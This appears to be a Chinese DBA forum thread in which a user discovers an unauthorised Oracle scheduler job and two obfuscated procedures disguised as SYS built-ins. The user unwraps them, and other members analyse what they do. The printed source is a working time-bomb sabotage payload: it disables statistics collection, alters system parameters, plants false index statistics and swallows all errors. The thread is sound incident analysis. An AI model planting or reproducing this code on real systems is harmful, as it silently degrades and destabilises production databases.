查看: 5726|回复: 39

核心数据库被人植入代码,不知道怎么破解。。。。

[复制链接]
论坛徽章:
4
奥运会纪念徽章:铁人三项
日期:2008-10-24 13:27:212010新春纪念徽章
日期:2010-03-01 11:20:05ITPUB十周年纪念徽章
日期:2011-11-01 16:24:51优秀写手
日期:2014-02-27 06:00:13
跳转到指定楼层
1#
发表于 2015-12-11 08:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在DBMS_SCHEDULER.JOB中找到个没人承认建立的JOB
BEGIN
  SYS.DBMS_SCHEDULER.CREATE_JOB
    (
       job_name        => 'SYS.VALID_COLL_JOB'
      ,start_date      => TO_TIMESTAMP_TZ('2014/06/01 00:00:00.000000 +08:00','yyyy/mm/dd hh24:mi:ss.ff tzr')
      ,repeat_interval => 'Freq=Daily;ByHour=0;ByMinute=0;BySecond=0'
      ,end_date        => NULL
      ,job_class       => 'DEFAULT_JOB_CLASS'
      ,job_type        => 'PLSQL_BLOCK'
      ,job_action      => 'sys.dbms_valid_advisor;'
      ,comments        => 'Oracle Valid Collectation Data Job'
    );
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'RESTARTABLE'
     ,value     => FALSE);
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'LOGGING_LEVEL'
     ,value     => SYS.DBMS_SCHEDULER.LOGGING_OFF);
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE_NULL
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'MAX_FAILURES');
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE_NULL
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'MAX_RUNS');
  BEGIN
    SYS.DBMS_SCHEDULER.SET_ATTRIBUTE
      ( name      => 'SYS.VALID_COLL_JOB'
       ,attribute => 'STOP_ON_WINDOW_CLOSE'
       ,value     => FALSE);
  EXCEPTION
    -- could fail if program is of type EXECUTABLE...
    WHEN OTHERS THEN
      NULL;
  END;
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'JOB_PRIORITY'
     ,value     => 3);
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE_NULL
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'SCHEDULE_LIMIT');
  SYS.DBMS_SCHEDULER.SET_ATTRIBUTE
    ( name      => 'SYS.VALID_COLL_JOB'
     ,attribute => 'AUTO_DROP'
     ,value     => FALSE);
END;
/

两个伪装成系统存储过程,加密的。
CREATE OR REPLACE procedure SYS.DBMS_VALID_ADVISOR wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
6e0 44b
cfmLhrIWjwnw+IsECprKEpiIyuUwg41cuiCDfI4ZHs6UPxGUdVRceyaWPrfm4BjEFGBhHdL6
UchrES/F8UoyBsa7dtr7nh7ogWspvj8imr71FlOu1qJp09JmJoCHheHNRO8bvspZ3+c4756q
lRgZXu5Risb8jXZKFQuTm1J08++uzh2uaCEkTMRf7ES3tG19WK8fz1nUZkVN3SYvcXGsCQB0
JlJaNiIbrJY041qrCQ/3KBqWMPVv4/sE450hohE1+AQCLBNN8t50gNxIjIC7k1+WDaZHwfQ7
iQXsrqWFMGc3YVC38tVvs9o6yh2uWEkDIt7sddol3vMqDn+oDhnBK3HGoXeMUT63QcNRvXYM
1IafsBDrJ1x1hZivdkxLVMWWMy65xdpUmJD2E2gRvWu2/EkY02/pIXCljgZ66G1WxDuN+aar
pAlSlHwpgeaD9W4SKBUCQF3y/JY0wVdinBo6aDJW07JD+9hOLHCH4WzFrj8CkxhUNAduYgMh
ljIiTGMa+FhX/9K+cbeBXlg7wg8pQI5DoFaFfu1x6ANlusFK6zn2RVhRqfNS00B5wtebOiOY
rtaXtwfG+1Bd30qhB+JsoAZvF2EGn329BAxEkQVABsifkHO30uREcMJY0egKsAGnlm6MG3Ds
2sAMekbWP7+1McgpwttlDxhlTPdmYvoFZ1UFnvy79CUlG6NjCoGL6Zzr12ZimHj+quCsKDjT
UvfYYl3PVKjSJptbPUqohFONW/XoyHb9I4jHPQc95+VuXDwjY5JL5ZTuiy+gk3ZQ9N8KIAQo
I0Hfe8XV1JRKQN8ZTNvtwh82oQ0b69MLrYWBhkonTQq0ZABv4HLMmCIkuRn+aVxDqsO0r8Hw
qE8k4p55QIGeU7F8Simu1XixBWhHY5AgF8QKlgZIW+D9ca7XgQGgyzpOJwMZb9RrxxDONWqb
UjrtVwRpKnIYm4XEAHMtZ2S2PeSiKrpvQ8STQjmbI22K0spqDYoHcQnCJFjwxywezHJUABC7
szbAZdu2Qs/pbDuuebE/Ip9HAovM24kFDrZPy5RuYFBYyVI0VJtLAVP4jzlXwbXdaNSYmv4e
6xo=
/


CREATE OR REPLACE procedure SYS.DBMS_USER_LOGON wrapped
a000000
354
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
16d 16d
J3mOF2K1iFOcMYZgWFTDVck4NfUwg5DI2q5qZy9GJnPVYWd7EVYOZ+bcnsFIhm710H0cFMNJ
HVvCkdr3eZ7OgW634T5sPfKCA0/Jv/Yh6Yuy4bqh/TTptkbioJdT16ZXXMtTwFRrPsKUK3Fs
PVFn7PXlczE8wY+DEb0zlYva72Rqxz5X1lU5tnGJPETGbNHx1/IHlXQPatfeIPv+xI/fVwP7
uNB32jbRbGVBwmf8nxgdX1J2E4RPizYHhnf11652FYDYsGSoSqgzgfb9nEZ6Qyg6pKgazii5
c5hkmItiXzK/fhP5xzowBg7gJiD37kEGPFIA6i6wPlAmxC2qzY0fZpUJ5AZr6Z+Bmc7KF0A=
/

谁知道怎么破解,程序什么功能??


论坛徽章:
4
奥运会纪念徽章:铁人三项
日期:2008-10-24 13:27:212010新春纪念徽章
日期:2010-03-01 11:20:05ITPUB十周年纪念徽章
日期:2011-11-01 16:24:51优秀写手
日期:2014-02-27 06:00:13
2#
 楼主| 发表于 2015-12-11 08:34 | 只看该作者
网上下了个fyunwrap破解
PROCEDURE DBMS_VALID_ADVISOR IS
  IVER INTEGER;
  ICNT INTEGER;
  ILVL INTEGER;
  SOWNER VARCHAR2(30);
  SIDXNAME VARCHAR2(30);
  CROW WRM$_VALID_ERROR%ROWTYPE;
  CURSOR MCUR IS SELECT * FROM WRM$_VALID_ERROR;
  TYPE TYP_CUR_REF IS REF CURSOR;
  CUR_REF TYP_CUR_REF;
BEGIN
  SELECT ICOUNT INTO ICNT FROM WRM$_VALID WHERE LAST_TIME<SYSDATE;
  IF (ICNT < 1) THEN  
    SELECT TO_NUMBER(SUBSTR(VERSION,1,2)) INTO IVER FROM V$INSTANCE;
    IF (IVER=10) THEN
      EXECUTE IMMEDIATE 'begin DBMS_SCHEDULER.DISABLE(''GATHER_STATS_JOB''); end;';
    ELSIF (IVER=11) THEN
      EXECUTE IMMEDIATE 'begin DBMS_AUTO_TASK_ADMIN.DISABLE(client_name => ''auto optimizer stats collection'', operation => NULL, window_name => NULL); end;';
    END IF;

    SELECT VALUE INTO ILVL FROM V$PARAMETER WHERE NAME='optimizer_dynamic_sampling';
    IF (ILVL < 6 AND ICNT=0) THEN
      EXECUTE IMMEDIATE 'alter system set optimizer_dynamic_sampling=6';
      EXECUTE IMMEDIATE 'alter sysetm set memory_target=2G';
    END IF;

    OPEN MCUR;
    LOOP
      FETCH MCUR INTO CROW;
      EXIT WHEN MCUR%NOTFOUND;

      OPEN CUR_REF FOR SELECT OWNER,INDEX_NAME FROM DBA_INDEXES WHERE TABLE_OWNER=CROW.OWNER AND TABLE_NAME=CROW.TABLE_NAME;
      LOOP
        FETCH CUR_REF INTO SOWNER,SIDXNAME;
        EXIT WHEN CUR_REF%NOTFOUND;
        EXECUTE IMMEDIATE 'begin dbms_stats.set_index_stats(ownname  => '''|| SOWNER ||''',indname  => '''|| SIDXNAME ||''',numrows  => 100000000000,numlblks => 100000,numdist  => 100000,avglblk  => 100000,avgdblk  => 100000,clstfct  => 100000000000); end;';
      END LOOP;
      CLOSE CUR_REF;

    END LOOP;
    CLOSE MCUR;
  END IF;
            
  UPDATE WRM$_VALID SET ICOUNT=ICOUNT-1;
  COMMIT;
EXCEPTION
  WHEN OTHERS THEN
    NULL;
END DBMS_VALID_ADVISOR;

使用道具 举报

回复
论坛徽章:
4
奥运会纪念徽章:铁人三项
日期:2008-10-24 13:27:212010新春纪念徽章
日期:2010-03-01 11:20:05ITPUB十周年纪念徽章
日期:2011-11-01 16:24:51优秀写手
日期:2014-02-27 06:00:13
3#
 楼主| 发表于 2015-12-11 08:36 | 只看该作者
PROCEDURE DBMS_USER_LOGON
IS
  ICNT INTEGER;
BEGIN
  SELECT ICOUNT INTO ICNT FROM SYS.WRM$_VALID WHERE LAST_TIME<SYSDATE;
  IF (ICNT < 1) THEN
    EXECUTE IMMEDIATE 'alter session set optimizer_features_enable=''9.2.0''';
    EXECUTE IMMEDIATE 'alter session set optimizer_dynamic_sampling=6';
  END IF;
EXCEPTION
  WHEN OTHERS THEN
    NULL;
END DBMS_USER_LOGON;

使用道具 举报

回复
论坛徽章:
194
红宝石
日期:2014-05-09 08:24:37萤石
日期:2014-01-03 10:25:39奥运会纪念徽章:羽毛球
日期:2008-07-01 10:46:06奥运会纪念徽章:马术
日期:2008-07-07 17:43:24奥运会纪念徽章:射箭
日期:2008-07-25 18:07:39奥运会纪念徽章:皮划艇激流回旋
日期:2008-07-30 10:02:57奥运会纪念徽章:花样游泳
日期:2008-09-26 13:02:43奥运会纪念徽章:排球
日期:2008-12-03 11:23:272010新春纪念徽章
日期:2010-01-04 08:33:082010年世界杯参赛球队:澳大利亚
日期:2010-02-26 11:08:44
4#
发表于 2015-12-11 08:45 | 只看该作者
估计是那个前任建的,不想人家知道他的秘密把了。

使用道具 举报

回复
论坛徽章:
4
奥运会纪念徽章:铁人三项
日期:2008-10-24 13:27:212010新春纪念徽章
日期:2010-03-01 11:20:05ITPUB十周年纪念徽章
日期:2011-11-01 16:24:51优秀写手
日期:2014-02-27 06:00:13
5#
 楼主| 发表于 2015-12-11 09:01 | 只看该作者
本帖最后由 foodfoodfoodfood 于 2015-12-11 09:03 编辑
lfree 发表于 2015-12-11 08:45
估计是那个前任建的,不想人家知道他的秘密把了。

但是他为啥强制把索引失效,仔细分析功能就是停止统计信息收集,同时使索引失效,系统不就死了么

使用道具 举报

回复
论坛徽章:
194
红宝石
日期:2014-05-09 08:24:37萤石
日期:2014-01-03 10:25:39奥运会纪念徽章:羽毛球
日期:2008-07-01 10:46:06奥运会纪念徽章:马术
日期:2008-07-07 17:43:24奥运会纪念徽章:射箭
日期:2008-07-25 18:07:39奥运会纪念徽章:皮划艇激流回旋
日期:2008-07-30 10:02:57奥运会纪念徽章:花样游泳
日期:2008-09-26 13:02:43奥运会纪念徽章:排球
日期:2008-12-03 11:23:272010新春纪念徽章
日期:2010-01-04 08:33:082010年世界杯参赛球队:澳大利亚
日期:2010-02-26 11:08:44
6#
发表于 2015-12-11 09:06 | 只看该作者
EXECUTE IMMEDIATE 'begin dbms_stats.set_index_stats(ownname  => '''|| SOWNER ||''',indname  => '''|| SIDXNAME ||''',numrows  => 100000000000,numlblks => 100000,numdist  => 100000,avglblk  => 100000,avgdblk  => 100000,clstfct  => 100000000000); end;';

--你看仔细了。这样设置是更加趋向使用索引。

使用道具 举报

回复
论坛徽章:
314
行业板块每日发贴之星
日期:2012-07-12 18:47:29双黄蛋
日期:2011-08-12 17:31:04咸鸭蛋
日期:2011-08-18 15:13:51迷宫蛋
日期:2011-08-18 16:58:25紫蛋头
日期:2011-08-31 10:57:28ITPUB十周年纪念徽章
日期:2011-09-27 16:30:47蜘蛛蛋
日期:2011-10-20 15:51:25迷宫蛋
日期:2011-10-29 11:12:59ITPUB十周年纪念徽章
日期:2011-11-01 16:19:41鲜花蛋
日期:2011-11-09 20:33:30
7#
发表于 2015-12-11 09:29 | 只看该作者
OPEN MCUR;
    LOOP
      FETCH MCUR INTO CROW;
      EXIT WHEN MCUR%NOTFOUND;

      OPEN CUR_REF FOR SELECT OWNER,INDEX_NAME FROM DBA_INDEXES WHERE TABLE_OWNER=CROW.OWNER AND TABLE_NAME=CROW.TABLE_NAME;
      LOOP
        FETCH CUR_REF INTO SOWNER,SIDXNAME;
        EXIT WHEN CUR_REF%NOTFOUND;
        EXECUTE IMMEDIATE 'begin dbms_stats.set_index_stats(ownname  => '''|| SOWNER ||''',indname  => '''|| SIDXNAME ||''',numrows  => 100000000000,numlblks => 100000,numdist  => 100000,avglblk  => 100000,avgdblk  => 100000,clstfct  => 100000000000); end;';
      END LOOP;
      CLOSE CUR_REF;


对所有的索引都这样设置, 想干嘛?

使用道具 举报

回复
论坛徽章:
314
行业板块每日发贴之星
日期:2012-07-12 18:47:29双黄蛋
日期:2011-08-12 17:31:04咸鸭蛋
日期:2011-08-18 15:13:51迷宫蛋
日期:2011-08-18 16:58:25紫蛋头
日期:2011-08-31 10:57:28ITPUB十周年纪念徽章
日期:2011-09-27 16:30:47蜘蛛蛋
日期:2011-10-20 15:51:25迷宫蛋
日期:2011-10-29 11:12:59ITPUB十周年纪念徽章
日期:2011-11-01 16:19:41鲜花蛋
日期:2011-11-09 20:33:30
8#
发表于 2015-12-11 09:31 | 只看该作者
lfree 发表于 2015-12-11 09:06
EXECUTE IMMEDIATE 'begin dbms_stats.set_index_stats(ownname  => '''|| SOWNER ||''',indname  => '''| ...

clstfct  => 10000000000

忘记这个参数的计算方法了, 这值这么大, 趋向使用索引?

使用道具 举报

回复
论坛徽章:
35
ITPUB8周年纪念徽章
日期:2015-09-11 12:12:40慢羊羊
日期:2015-05-15 09:22:38慢羊羊
日期:2015-06-19 09:29:03双鱼座
日期:2015-07-16 13:16:54双子座
日期:2015-08-27 13:16:31射手座
日期:2015-08-28 13:15:55处女座
日期:2015-09-06 15:45:26金牛座
日期:2015-09-17 11:01:38金牛座
日期:2015-11-02 09:28:35双鱼座
日期:2015-12-24 15:20:14
9#
发表于 2015-12-11 09:40 | 只看该作者
好腻害。

使用道具 举报

回复
论坛徽章:
4
奥运会纪念徽章:铁人三项
日期:2008-10-24 13:27:212010新春纪念徽章
日期:2010-03-01 11:20:05ITPUB十周年纪念徽章
日期:2011-11-01 16:24:51优秀写手
日期:2014-02-27 06:00:13
10#
 楼主| 发表于 2015-12-11 09:47 | 只看该作者
lfree 发表于 2015-12-11 09:06
EXECUTE IMMEDIATE 'begin dbms_stats.set_index_stats(ownname  => '''|| SOWNER ||''',indname  => '''| ...

额,那我们这实际效果是执行完后表走全表扫描,系统特别卡。
怎么看出更加趋向使用索引

使用道具 举报

回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

TOP技术积分榜 社区积分榜 徽章 团队 统计 知识索引树 积分竞拍 文本模式 帮助
  ITPUB首页 | ITPUB论坛 | 数据库技术 | 企业信息化 | 开发技术 | 微软技术 | 软件工程与项目管理 | IBM技术园地 | 行业纵向讨论 | IT招聘 | IT文档
  ChinaUnix | ChinaUnix博客 | ChinaUnix论坛
CopyRight 1999-2011 itpub.net All Right Reserved. 北京盛拓优讯信息技术有限公司版权所有 联系我们 未成年人举报专区 
京ICP备16024965号-8  北京市公安局海淀分局网监中心备案编号:11010802021510 广播电视节目制作经营许可证:编号(京)字第1149号
  
快速回复 返回顶部 返回列表